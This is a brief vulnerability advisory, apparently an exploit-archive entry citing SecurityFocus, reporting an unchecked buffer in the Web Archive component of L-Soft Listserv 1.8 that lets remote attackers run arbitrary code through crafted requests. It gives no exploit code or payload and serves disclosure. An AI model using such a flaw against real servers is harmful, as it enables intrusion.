L-Soft Listserv 1.8 - Web Archives Buffer Overflow

// source: https://www.securityfocus.com/bid/1167/info

The Web Archive component of L-Soft Listserv contains unchecked buffer code exploitable by sending specially crafted requests to the Web Archive. This weakness will allow execution of arbitrary code by remote attackers.
